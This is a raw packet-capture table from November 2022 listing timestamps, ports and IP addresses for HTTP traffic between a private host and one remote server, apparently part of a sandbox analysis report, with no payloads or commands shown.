Nov 27, 2022 04:36:40.173809052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173824072 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.173847914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173899889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173912048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.173944950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173988104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173995972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.174030066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174072027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174079895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.174115896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174158096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174164057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.174201012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174242020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174249887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.174283981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174324989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174345970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.174366951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174410105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174453974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174495935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174503088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.174504042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.174540997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174585104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174609900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.174629927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174673080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174689054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.174715042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174757957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174762011 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.174801111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174841881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174846888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.174905062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174947977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.174966097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.174992085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175034046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175040960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.175076962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175117970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175128937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.175159931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175204039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175208092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.175246000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175287962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175329924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175360918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.175388098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175426960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.175432920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175478935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175522089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175554991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.175565004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175601959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.175611019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175652981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175668955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.175698042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175740004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175750971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.175782919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175825119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175833941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.175868034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175909996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175935030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.175951958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.175993919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176003933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.176038027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176079988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176090002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.176122904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176165104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176173925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.176206112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176248074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176253080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.176289082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176330090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176336050 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.176373959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176417112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176426888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.176460028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176502943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176508904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.176544905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176588058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176595926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.176631927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176672935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176686049 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.176717997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176759005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176765919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.176800966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176843882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176850080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.176886082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176928043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.176932096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.176970005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.177011013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.177025080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.177054882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.177097082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.177103043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.177140951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.177189112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.195048094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195117950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195183039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195221901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195262909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195275068 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.195301056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195336103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.195343018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195357084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.195385933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195424080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195461988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.195462942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195502043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195512056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.195542097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195580959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195594072 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.195625067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195663929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195681095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.195703030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195741892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195758104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.195780993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195822001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195837021 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.195861101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195900917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195911884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.195940971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195981979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.195997000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.196022034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196060896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196094990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.196100950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196140051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196178913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196188927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.196213961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196245909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196280956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.196288109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196305037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.196330070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196367979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196397066 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.196408033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196446896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196461916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.196485996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196525097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196543932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.196563959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196605921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196620941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.196646929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196686029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196707964 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.196723938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196763992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196780920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.196801901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196841002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196881056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196881056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.196922064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.196938038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.196964025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197004080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197029114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.197042942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197083950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197103977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.197122097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197160006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197177887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.197197914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197237015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197256088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.197272062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197309971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197330952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.197349072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197387934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197405100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.197426081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197463989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197482109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.197501898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197540998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197556973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.197580099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197619915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197638035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.197659016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197698116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197719097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.197736979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197774887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197812080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197853088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197886944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.197886944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.197895050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197933912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197973013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.197992086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.198013067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198038101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.198061943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198101997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198123932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.198138952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198179007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198203087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.198227882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198267937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198290110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.198301077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198338985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198367119 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.198378086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198416948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198437929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.198455095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198494911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198518991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.198534012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198574066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198612928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198632956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.198652029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198689938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198729038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198770046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198807955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198795080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.198795080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.198848009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198911905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198952913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.198972940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.198972940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.198992968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199029922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.199034929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199073076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199098110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.199111938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199155092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199177027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.199193954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199235916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199259043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.199275017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199314117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199337006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.199352026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199389935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199414968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.199428082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199465990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199485064 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.199505091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199543953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199573040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.199582100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199623108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199645042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.199661016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199700117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199728966 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.199738979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199776888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199805975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.199816942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199856997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199882030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.199896097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199934959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.199955940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.199975014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200014114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200052977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200073004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.200090885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200129986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200138092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.200170994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200196028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.200211048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200251102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200280905 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.200290918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200329065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200357914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.200366974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200413942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200438023 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.200454950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200495005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200525999 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.200535059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200575113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200603962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.200617075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200655937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200679064 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.200697899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200737953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200763941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.200778008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200819969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200843096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.200859070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200901031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200927019 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.200942039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.200979948 CET	80	49705	66.235.200.147	192.168.2.5
